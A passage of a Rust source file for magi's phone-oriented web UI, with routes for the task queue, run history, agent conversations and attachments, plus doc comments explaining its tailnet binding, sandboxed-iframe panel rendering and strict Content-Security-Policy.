Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying no tokens: no `allow-scripts`, no
52//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
53//! reach the parent document, the cookie jar or `localStorage`. On top of that
54//! both routes send [`PANEL_CSP`], which denies every network destination, so a
55//! panel cannot phone home through a remote image or a beacon either - the two
56//! things it may load, images and inline CSS, are the two things free
57//! formatting actually needs. Assets come from the question's own directory and
58//! never from the network, and their content types come from a closed
59//! whitelist, so an agent cannot get markup rendered outside the frame by
60//! naming a file `.html`.
61//!
62//! # A conversation turn is not a filesystem read
63//!
64//! Every other route here is disk work, which is why [`blocking`] exists.
65//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
66//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
67//! and no executor thread, and concurrent turns on one talk are refused rather
68//! than queued - see [`Ui::begin_talk_turn`].
69//!
70//! # The loop runs here
71//!
72//! `magi web` runs the queue loop in this process, started and stopped from
73//! `/api/loop`. That is the point of the whole surface: a task filed from a
74//! phone with nobody around to type `magi serve` is a task that sits in the
75//! queue until someone walks back to the machine.
76//!
77//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
78//! is no pid file of this module's own and nothing to supervise - a child
79//! would need reaping, a second copy of the daemon's retry policy, and a
80//! story for what happens when `magi web` dies with the loop still running.
81//! `<home>/daemon.json`, which the loop itself writes, stays the only
82//! cross-process signal, and it is how this process notices that the
83//! operator's own `magi serve` already owns the loop and refuses to start a
84//! second one that would fight it for claims.
85//!
86//! Stopping is cooperative and therefore not instant. A run in flight is
87//! finished first, for the reason [`daemon::serve`] gives: killing the graph
88//! mid-node leaves worktrees, branches and agent sessions behind and throws
89//! away every agent call already paid for. `POST /api/loop` sets the flag and
90//! answers immediately rather than waiting, because the wait is measured in
91//! tens of minutes and the operator is holding a phone.
92
93use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{delete, get, post};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::ask::{Answer, Question, Questions};
118use crate::config::{Config, Update, UpdateMode};
119use crate::md;
120use crate::proc::Quiet as _;
121use crate::queue::{Queue, Task, title_from};
122use crate::run::{RunState, RunStatus};
123use crate::talk::{Talk, Talks};
124use crate::{daemon, git, report, repos, run, talk, updater};
125
126/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
127pub const DEFAULT_PORT: u16 = 7878;
128
129/// How often the change stream restats the queue and the runs directory.
130const POLL: Duration = Duration::from_secs(1);
131
132/// Keep-alive interval for the change stream. Phones and intermediaries drop
133/// an idle connection within a minute; a comment every fifteen seconds keeps
134/// the stream alive without waking the radio often enough to matter.
135const KEEPALIVE: Duration = Duration::from_secs(15);
136
137/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
138///
139/// A fixed period this long would not track a `[update] interval` shorter
140/// than itself: an operator who set `interval = "1m"` to make the deck
141/// notice a release within a minute would still wait up to fifteen of them
142/// for the next wake-up to even ask [`updater::Checker::should_check`].
143/// [`recheck_poll_period`] scales the sleep with the configured interval
144/// instead, and this is only its ceiling - reached at the default interval
145/// of a day, where waking any more often would just spend cycles asking a
146/// question that stays "no" for hours.
147const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
148
149/// Floor on the same, so a very short `[update] interval` cannot spin
150/// [`run_update_recheck`] in a near-busy loop.
151const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
152
153/// Runs returned when the client does not ask, and the ceiling if it asks for
154/// more. The cap exists because the list handler parses every `run.json` it
155/// returns, and a phone cannot render two thousand rows anyway.
156const LIST_DEFAULT: usize = 50;
157/// Upper bound for `?limit=`.
158const LIST_MAX: usize = 500;
159
160/// Width of a generated task title, matching what the CLI uses.
161const TITLE_MAX: usize = 72;
162
163/// Per-file cap for an attachment upload.
164///
165/// Enforced twice: axum's own body limit is raised one byte above this, only
166/// on the two attachment `POST` routes (see the router - every other route
167/// keeps the crate-wide default), so an oversize body is still read far
168/// enough to answer with our own message below rather than axum's generic
169/// one; this constant is what that message and the boundary check actually
170/// compare against.
171const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
172
173/// The image types an attachment upload accepts - a closed whitelist, the
174/// same posture [`asset_content_type`] takes for panel assets and for the
175/// same reason: SVG is excluded on purpose because it is active content
176/// (it may carry `<script>`) and not merely a picture, so it never appears
177/// here even though `image/svg+xml` is a real IANA type.
178const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
179
180/// Header carrying the operator's own filename. Free text, stored only for
181/// display - see [`talk::Attachment::name`]'s doc on why it never
182/// contributes to a path.
183const FILENAME_HEADER: &str = "x-filename";
184
185/// The header that makes serving agent-authored HTML defensible, sent by both
186/// panel routes and asserted verbatim by a test.
187///
188/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
189/// denies every fetch destination that is not re-allowed below, which is all of
190/// them except images and fonts; `img-src 'self' data:` means an image comes
191/// from magi's own asset route or from the document itself, so a panel cannot
192/// signal an outside server by pointing an `<img>` at it - the classic
193/// exfiltration channel for markup that cannot run script. `style-src
194/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
195/// free formatting means here and a style sheet cannot make a request that
196/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
197/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
198/// stops a form posting the owner's decision to a third party, and
199/// `frame-ancestors 'self'` stops another site framing the panel to phish with
200/// it.
201///
202/// There is deliberately no `script-src`: `default-src 'none'` already covers
203/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
204/// denied twice over. Weakening any directive here is the difference between a
205/// panel the owner reads and a page that can talk to the tailnet, which is why
206/// the test compares the whole string rather than looking for a substring.
207const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
208                         font-src data:; base-uri 'none'; form-action 'none'; \
209                         frame-ancestors 'self'";
210
211const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
212const APP_CSS: &str = include_str!("../assets/ui/app.css");
213const APP_JS: &str = include_str!("../assets/ui/app.js");
214
215/// Which address to listen on.
216#[derive(Debug, Clone, Copy, PartialEq, Eq)]
217pub enum Bind {
218    /// Ask Tailscale, and fall back to loopback with a warning.
219    Auto,
220    /// An address the operator named.
221    Addr(IpAddr),
222}
223
224impl std::str::FromStr for Bind {
225    type Err = String;
226
227    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
228    /// the CLI can take `--bind` straight into it: the one spelling of
229    /// `auto` that matters is the one this function knows.
230    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
231        if s.eq_ignore_ascii_case("auto") {
232            return Ok(Self::Auto);
233        }
234        s.parse()
235            .map(Self::Addr)
236            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
237    }
238}
239
240impl std::fmt::Display for Bind {
241    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
242        match self {
243            Self::Auto => f.write_str("auto"),
244            Self::Addr(addr) => write!(f, "{addr}"),
245        }
246    }
247}
248
249/// How to serve.
250#[derive(Debug, Clone)]
251pub struct Opts {
252    /// Address to listen on.
253    pub bind: Bind,
254    /// Port to listen on.
255    pub port: u16,
256    /// Repository used for tasks posted without one.
257    pub repo: PathBuf,
258    /// Print the URL on its own line for a caller that wants to hand it to a
259    /// browser. magi never launches one itself.
260    pub open: bool,
261    /// Merge mode override for the loop this process runs (`none`, `local`,
262    /// `pr`); `None` leaves it to each repository's own config.
263    ///
264    /// The same override `magi serve --merge` takes, and here for the same
265    /// reason: `magi web` is now the thing that runs the loop, so an operator
266    /// who wants this session's runs to open pull requests has to be able to
267    /// say so without going back to the command they no longer type.
268    pub merge: Option<String>,
269}
270
271impl Default for Opts {
272    fn default() -> Self {
273        Self {
274            bind: Bind::Auto,
275            port: DEFAULT_PORT,
276            repo: PathBuf::from("."),
277            open: false,
278            merge: None,
279        }
280    }
281}
282
283/// Everything the handlers touch.
284///
285/// The queue, the runs directory and the magi home are fields rather than
286/// process-global lookups so a test drives the real router against a temp
287/// directory instead of the operator's own history.
288#[derive(Debug, Clone)]
289pub struct Ui {
290    queue: Queue,
291    questions: Questions,
292    talks: Talks,
293    runs: PathBuf,
294    home: PathBuf,
295    repo: PathBuf,
296    /// Where the runs' worktrees live, for the health disk figures.
297    ///
298    /// Spelled independently of [`crate::run::default_worktree_root`] so the
299    /// test servers can point it at their own temp directory: the health route
300    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
301    /// be measuring the machine instead of the server.
302    worktrees_root: PathBuf,
303    /// Talks with an agent turn in flight right now.
304    ///
305    /// In-process and therefore not durable, which is correct: it guards
306    /// against two taps on one phone and two phones on one tailnet, both of
307    /// which are this process's own concurrency. A second `magi web` would not
308    /// see it, and a second `magi web` on the same home is already a
309    /// misconfiguration the queue's claims would catch first.
310    talk_turns: Arc<Mutex<TalkTurns>>,
311    /// Runs this process is resuming right now.
312    ///
313    /// Separate from `talk_turns` because a run and a talk are different
314    /// things to hold, and a resume is far more expensive to start twice: it
315    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
316    /// guards two taps and two phones, which is this process's own
317    /// concurrency.
318    resuming: Arc<Mutex<HashSet<String>>>,
319    /// The last scan of `[repos] roots`, and when it happened. Shared across
320    /// requests so polling `GET /api/repos` repeatedly does not repeat the
321    /// filesystem walk every time - see [`repos::Cache`].
322    repos_cache: repos::Cache,
323    /// Merge mode override handed to the loop this process starts.
324    merge: Option<String>,
325    /// The loop this process is running, if it is running one.
326    looping: Arc<Mutex<LoopState>>,
327    /// How a loop is actually started.
328    ///
329    /// A field rather than a direct call to [`daemon::serve_until`], because
330    /// the real loop resolves its queue and its status file through the
331    /// process-global magi home and claims whatever it finds there. A test
332    /// that started it would reach straight past its own temp directory into
333    /// the operator's live queue, overwrite the status file of the `magi
334    /// serve` that owns it, and spend real agent quota on a real competition.
335    /// What the routes have to get right is the bookkeeping, so the tests
336    /// drive the routes against a loop that only starts and stops; production
337    /// is [`launch_daemon`] and nothing reassigns it.
338    launch: Launch,
339    /// A test-only stop point inside `talk_say`'s busy branch. See
340    /// [`BusyQueueGate`].
341    #[cfg(test)]
342    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
343}
344
345/// A one-shot stop point the busy branch's queued-draft write can be made to
346/// pause at, right before [`talk::queue`] runs.
347///
348/// Exists because a test cannot otherwise pin *when*, relative to the turn
349/// slot being freed, that write happens: `blocking` runs it on
350/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
351/// already finished, so counting polls on the handler future to park it at a
352/// particular `.await` is a guess about scheduling, not a fact about it - see
353/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
354/// used to do exactly that and paid for it with an occasional "async fn
355/// resumed after completion" panic under load.
356///
357/// `reached` fires the instant the write is about to run, so a test waits for
358/// a real event instead of a poll count. `release` then blocks the write
359/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
360/// rather than an async channel because this all happens inside the
361/// `spawn_blocking` closure the write already runs on, off any runtime
362/// worker, so blocking here costs nothing the write was not already going to
363/// cost.
364#[cfg(test)]
365struct BusyQueueGate {
366    reached: tokio::sync::oneshot::Sender<()>,
367    release: std::sync::mpsc::Receiver<()>,
368}
369
370#[cfg(test)]
371impl std::fmt::Debug for BusyQueueGate {
372    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
373        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
374    }
375}
376
377impl Ui {
378    /// A server over explicit paths.
379    pub fn new(
380        queue: Queue,
381        questions: Questions,
382        talks: Talks,
383        runs: PathBuf,
384        home: PathBuf,
385        repo: PathBuf,
386    ) -> Self {
387        Self {
388            queue,
389            questions,
390            talks,
391            runs,
392            home,
393            repo,
394            // The default location, overridden by `with_worktrees_root` - a
395            // builder step rather than a ninth parameter, for the reason
396            // `with_merge` gives.
397            worktrees_root: run::default_worktree_root(),
398            talk_turns: Arc::default(),
399            resuming: Arc::default(),
400            repos_cache: repos::Cache::new(),
401            merge: None,
402            looping: Arc::default(),
403            launch: launch_daemon,
404            #[cfg(test)]
405            busy_queue_gate: Arc::default(),
406        }
407    }
408
409    /// The operator's own state: `<home>/queue`, `<home>/questions`,
410    /// `<home>/talks`, `<home>/runs`.
411    pub fn open(repo: PathBuf) -> Self {
412        Self::new(
413            Queue::open(),
414            Questions::open(),
415            Talks::open(),
416            run::runs_root(),
417            run::home(),
418            repo,
419        )
420    }
421
422    /// The merge mode the loop should use, as the command line gave it.
423    ///
424    /// A builder step rather than a seventh parameter on [`Ui::new`], because
425    /// the override is a property of how this process was invoked and not of
426    /// where its state lives - which is all the tests that build a `Ui` by
427    /// hand are saying.
428    #[must_use]
429    pub fn with_merge(mut self, merge: Option<String>) -> Self {
430        self.merge = merge;
431        self
432    }
433
434    /// Where the runs' worktrees live, when it is not the default.
435    ///
436    /// The health view sizes this directory, so a test that leaves it at the
437    /// default would be measuring the operator's own machine.
438    #[must_use]
439    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
440        self.worktrees_root = root;
441        self
442    }
443
444    /// Point the loop at something other than [`launch_daemon`].
445    ///
446    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
447    /// this crate may start the real loop.
448    #[cfg(test)]
449    #[must_use]
450    fn with_launch(mut self, launch: Launch) -> Self {
451        self.launch = launch;
452        self
453    }
454
455    /// Install a [`BusyQueueGate`] for the next pass through the busy
456    /// branch's queued-draft write, replacing any earlier one.
457    ///
458    /// A setter on `&self` rather than a `with_*` builder consumed once,
459    /// because a test that drives the busy branch more than once (as
460    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
461    /// to build confidence the interleaving is handled deterministically and
462    /// not just on a lucky run) needs a fresh channel pair each time, on the
463    /// one `Ui` it already built its temp directories around.
464    #[cfg(test)]
465    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
466        *self
467            .busy_queue_gate
468            .lock()
469            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
470    }
471
472    /// The loop's state, for [`serve`]'s own way out.
473    fn looping(&self) -> Arc<Mutex<LoopState>> {
474        Arc::clone(&self.looping)
475    }
476
477    /// Start the loop in this process, or say who already has one.
478    ///
479    /// `foreign` is passed in rather than read here so that one request makes
480    /// one judgement about who owns the loop: reading the status file again
481    /// inside this function could refuse a start for a daemon the same
482    /// response then reports as gone.
483    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
484        if let Some(other) = foreign {
485            return Err(ApiError::conflict(format!(
486                "{} is already running the loop, so this one will not start a \
487                 second: two loops on one queue race for the same claims and \
488                 burn the agent quota twice over. Stop it where it was \
489                 started.",
490                other.who()
491            )));
492        }
493        let mut state = self.lock_loop();
494        if state.live.as_ref().is_some_and(Live::alive) {
495            return Err(ApiError::conflict(format!(
496                "this magi web process (pid {}) is already running the loop",
497                std::process::id()
498            )));
499        }
500
501        let stop = daemon::Stop::new();
502        // The CLI's own defaults for everything the UI has no opinion about:
503        // one poll interval and one retry budget, so a loop started from a
504        // phone behaves exactly like the `magi serve` it replaces.
505        let opts = daemon::Opts {
506            repo: self.repo.clone(),
507            merge: self.merge.clone(),
508            // Whatever this `Ui` already reports worktree sizes and folds
509            // against (see `with_worktrees_root`) is what the loop it starts
510            // must reclaim orphaned worktrees under too - two different
511            // opinions about where the worktree bay is would leave the
512            // janitor pass reclaiming a directory nothing else on this
513            // process is even looking at.
514            worktrees_root: Some(self.worktrees_root.clone()),
515            ..daemon::Opts::default()
516        };
517        let launch = self.launch;
518        let looping = Arc::clone(&self.looping);
519        let handle = tokio::spawn({
520            let opts = opts.clone();
521            let stop = stop.clone();
522            async move {
523                let failure = match launch(opts, stop).await {
524                    Ok(()) => None,
525                    Err(e) => Some(format!("{e:#}")),
526                };
527                match &failure {
528                    Some(why) => tracing::error!("the loop stopped: {why}"),
529                    None => tracing::info!("the loop stopped"),
530                }
531                // Recorded by the task itself rather than reaped by whichever
532                // request happens next, so `loop_rev` moves the moment the
533                // loop ends and a phone with the change stream open learns
534                // that it did. Clearing `live` drops this task's own handle,
535                // which only detaches it, and is the last thing it does.
536                let mut state = lock_or_recover(&looping);
537                state.live = None;
538                state.last_error = failure;
539                state.rev += 1;
540            }
541        });
542        tracing::info!(
543            "the loop is now running in this process: repo {}, merge {}",
544            opts.repo.display(),
545            opts.merge.as_deref().unwrap_or("as the config says")
546        );
547        state.live = Some(Live { stop, handle, opts });
548        // A fresh start is not the place to keep showing why the last one
549        // died; the operator has read it and pressed the button anyway.
550        state.last_error = None;
551        state.rev += 1;
552        Ok(())
553    }
554
555    /// Ask the loop to stop, without waiting for it to get there.
556    ///
557    /// Idempotent: a second tap on stop is not an error, because the first one
558    /// leaves the loop running for as long as the run in flight takes and the
559    /// operator has no way to tell a slow stop from a lost one.
560    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
561        if let Some(other) = foreign {
562            return Err(ApiError::conflict(format!(
563                "the loop belongs to {}, and this process cannot stop it - \
564                 stop it where it was started. A button that silently did \
565                 nothing would be worse than this refusal.",
566                other.who()
567            )));
568        }
569        let mut state = self.lock_loop();
570        let Some(live) = state.live.as_ref() else {
571            return Ok(());
572        };
573        // A park upgrades a stop that has already been asked for: the
574        // operator who tapped "stop" and then realised the run has an hour
575        // left must not have to restart the loop to change their mind.
576        if live.stop.stopped() && (!park || live.stop.parking()) {
577            return Ok(());
578        }
579        if park {
580            live.stop.park();
581            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
582        } else {
583            live.stop.stop();
584            tracing::info!("the loop was asked to stop; a run in flight is finished first");
585        }
586        state.rev += 1;
587        Ok(())
588    }
589
590    /// The loop as both `/api/loop` and `/api/health` report it.
591    ///
592    /// `reading` is the caller's single read of `<home>/daemon.json`, because
593    /// health answers with this view *and* the daemon object beside it: one
594    /// read per response is what stops a single answer naming a foreign owner
595    /// in one field and calling the loop free in the other.
596    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
597        let state = self.lock_loop();
598        // A loop that panicked never recorded its own end, so the handle -
599        // not the presence of the record - is what "running" means.
600        let live = state.live.as_ref().filter(|live| live.alive());
601        LoopView {
602            running: live.is_some(),
603            stopping: live.is_some_and(|live| live.stop.finishing()),
604            parking: live.is_some_and(|live| live.stop.parking()),
605            owned: live.is_some(),
606            repo: live
607                .map_or(&self.repo, |live| &live.opts.repo)
608                .display()
609                .to_string(),
610            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
611            last_error: state.last_error.clone(),
612            daemon: DaemonView::of(reading),
613        }
614    }
615
616    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
617    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
618        lock_or_recover(&self.looping)
619    }
620
621    /// Whether this process currently owns the agent turn for `id`.
622    ///
623    /// This deliberately describes only the in-memory claim made by
624    /// [`Ui::begin_talk_turn`]. It is not conversation data and therefore is
625    /// never persisted with a [`Talk`].
626    fn is_thinking(&self, id: &str) -> bool {
627        self.talk_turns
628            .lock()
629            .is_ok_and(|turns| turns.live.contains(id))
630    }
631
632    /// Claim the right to run one turn in a talk, or report that it is busy.
633    ///
634    /// A talk is strictly turn-based: the agent is resumed with the
635    /// conversation it already has, so two turns running at once would resume
636    /// the same session twice and append their answers in whatever order the
637    /// two CLIs finished in. The operator would come back to a transcript
638    /// with two half-turns interleaved, which is unreadable and, worse,
639    /// unfixable - there is no undo for a persisted turn.
640    ///
641    /// A busy result is queued as a durable draft by [`talk_say`], rather than
642    /// starting a second CLI invocation for the same session.
643    ///
644    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
645    /// taken to test-and-insert and released before the agent is spawned. The
646    /// returned guard removes the id on drop, which is what makes a panicking
647    /// handler or a phone that walks out of range leave the talk usable - axum
648    /// drops the handler future when the client disconnects, and without the
649    /// guard that talk would be wedged until the server restarted.
650    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
651        self.claim_talk_turn(id, false)
652    }
653
654    /// Claim a turn after durably queueing a draft, or notify its current
655    /// owner that a drainer must recheck before it releases the slot.
656    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
657        self.claim_talk_turn(id, true)
658    }
659
660    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
661        let mut live = self
662            .talk_turns
663            .lock()
664            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
665        if !live.live.insert(id.to_owned()) {
666            if queued {
667                // A queued write has landed before this busy check.
668                // `drain_loop` uses this generation to recheck after its
669                // off-thread disk read, so it cannot release a turn between
670                // this check and the write.
671                *live.queued.entry(id.to_owned()).or_default() += 1;
672            }
673            return Ok(None);
674        }
675        Ok(Some(TalkTurnGuard {
676            talk: id.to_owned(),
677            turns: Arc::clone(&self.talk_turns),
678            released: false,
679        }))
680    }
681
682    /// Decide whether a free talk may start a new immediate turn while its
683    /// claim lock is held. A persisted draft without an owner is recovery
684    /// state, not a busy turn: two simultaneous `/say` requests must both
685    /// leave it untouched rather than one of them appending to it.
686    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
687        let mut live = self
688            .talk_turns
689            .lock()
690            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
691        if live.live.contains(id) {
692            return Ok(TalkTurnStart::Busy);
693        }
694        let talk = self.talks.get(id).map_err(ApiError::from)?;
695        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
696            return Ok(TalkTurnStart::Pending);
697        }
698        live.live.insert(id.to_owned());
699        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
700            talk: id.to_owned(),
701            turns: Arc::clone(&self.talk_turns),
702            released: false,
703        }))
704    }
705
706    /// Park the loop for an upgrade, and report the run that is parking.
707    ///
708    /// A park rather than a stop: a stop waits out the whole competition, and
709    /// not waiting is the point of upgrading from a phone. `None` means
710    /// nothing was in flight, which is worth saying so the operator is not
711    /// told a run is parking when none is.
712    fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
713        let parking = {
714            let mut state = self.lock_loop();
715            let Some(live) = state.live.as_ref() else {
716                return Ok(None);
717            };
718            let busy = live.stop.busy_now();
719            live.stop.park();
720            state.rev += 1;
721            busy
722        };
723        Ok(if parking {
724            // More than one run can be in flight now (see
725            // `Config::daemon.max_concurrent_runs`); this answer names one of
726            // them so the operator sees a park actually happened, not every
727            // run a park now asks to stop at its next boundary.
728            daemon::current_work(&self.home, jiff::Timestamp::now())
729                .into_iter()
730                .next()
731                .map(|c| c.run)
732        } else {
733            None
734        })
735    }
736
737    /// Claim a run for a resume, on the same reasoning as
738    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
739    /// disconnected phone does not wedge the run until the server restarts.
740    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
741        let mut live = self
742            .resuming
743            .lock()
744            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
745        if !live.insert(id.to_owned()) {
746            return Err(ApiError::conflict(format!(
747                "run {id} is already being resumed"
748            )));
749        }
750        Ok(ResumeGuard {
751            run: id.to_owned(),
752            resuming: Arc::clone(&self.resuming),
753        })
754    }
755
756    /// The router, with this state baked in.
757    ///
758    /// The three front-end files get one explicit route each rather than a
759    /// path parameter, so there is no traversal surface to get wrong: the set
760    /// of servable paths is the set written here. The asset route below is the
761    /// one exception and the only place in this server where a client names a
762    /// file; it is why [`valid_asset_name`] is checked before a path is built.
763    pub fn router(self) -> Router {
764        Router::new()
765            .route("/", get(index))
766            .route("/app.css", get(app_css))
767            .route("/app.js", get(app_js))
768            .route("/api/health", get(health))
769            .route("/api/loop", get(loop_get).post(loop_post))
770            .route("/api/upgrade", post(upgrade_post))
771            .route("/api/runs", get(runs_list))
772            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
773            .route("/api/runs/{id}/report", get(run_report))
774            .route("/api/runs/{id}/fold", post(run_fold))
775            .route("/api/runs/{id}/resume", post(run_resume))
776            .route("/api/queue", get(queue_list))
777            .route("/api/queue/{id}", delete(queue_delete))
778            .route("/api/repos", get(repos_list))
779            .route("/api/queue/{id}/hold", post(queue_hold))
780            .route("/api/queue/{id}/release", post(queue_release))
781            .route("/api/queue/{id}/priority", post(queue_priority))
782            .route("/api/queue/{id}/edit", post(queue_edit))
783            .route("/api/queue/{id}/done", post(queue_done))
784            .route("/api/questions", get(questions_list))
785            .route("/api/questions/{id}/answer", post(question_answer))
786            .route("/api/questions/{id}/say", post(question_say))
787            .route("/api/questions/{id}/panel", get(question_panel))
788            // The same asset, reachable from inside the panel by its bare
789            // filename. A document served at `.../panel` resolves `shot.png`
790            // to `.../shot.png`, which is not the asset route, so a panel
791            // written the way its author was told to write it showed broken
792            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
793            // it - deliberately - so the fix is that the panel's own URL ends
794            // in a filename and its siblings are the assets.
795            .route("/api/questions/{id}/panel/index.html", get(question_panel))
796            .route("/api/questions/{id}/panel/{name}", get(question_asset))
797            .route("/api/questions/{id}/asset/{name}", get(question_asset))
798            .route("/api/talks", get(talks_list).post(talk_post))
799            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
800            .route("/api/talks/{id}/say", post(talk_say))
801            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
802            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
803            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
804            .route("/api/talks/{id}/close", post(talk_close))
805            .route("/api/talks/{id}/reopen", post(talk_reopen))
806            // `DefaultBodyLimit` is raised only on this one route - every
807            // other route on this server answers in a few kilobytes, and
808            // widening the crate-wide default for all of them just because
809            // one accepts a picture would let any other handler be handed
810            // a multi-megabyte body it never expects.
811            .route(
812                "/api/talks/{id}/attachments",
813                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
814            )
815            .route(
816                "/api/talks/{id}/attachments/{att}",
817                get(talk_attachment_get),
818            )
819            .route("/api/events", get(events))
820            .with_state(Arc::new(self))
821    }
822}
823
824/// One talk's turn slot, released on drop.
825///
826/// A guard rather than a matching `remove` at the end of the handler, because
827/// the handler has several early returns and one `await` that can be cancelled
828/// out from under it. A leaked id is a talk nobody can talk to again.
829#[derive(Debug)]
830struct TalkTurnGuard {
831    talk: String,
832    turns: Arc<Mutex<TalkTurns>>,
833    released: bool,
834}
835
836/// In-memory turn ownership plus the queue generation observed by a drainer.
837///
838/// The generation changes only after a durable queued draft is written and its
839/// caller finds the turn busy. That lets the loop run filesystem work outside
840/// this mutex while still making the final empty-check/release atomic with a
841/// concurrent queue handoff.
842#[derive(Debug, Default)]
843struct TalkTurns {
844    live: HashSet<String>,
845    queued: HashMap<String, u64>,
846}
847
848/// The atomic initial-state decision made by
849/// [`Ui::begin_talk_turn_unless_pending`].
850enum TalkTurnStart {
851    Claimed(TalkTurnGuard),
852    Busy,
853    Pending,
854}
855
856impl TalkTurnGuard {
857    /// Release while the caller already holds the claim mutex, closing the
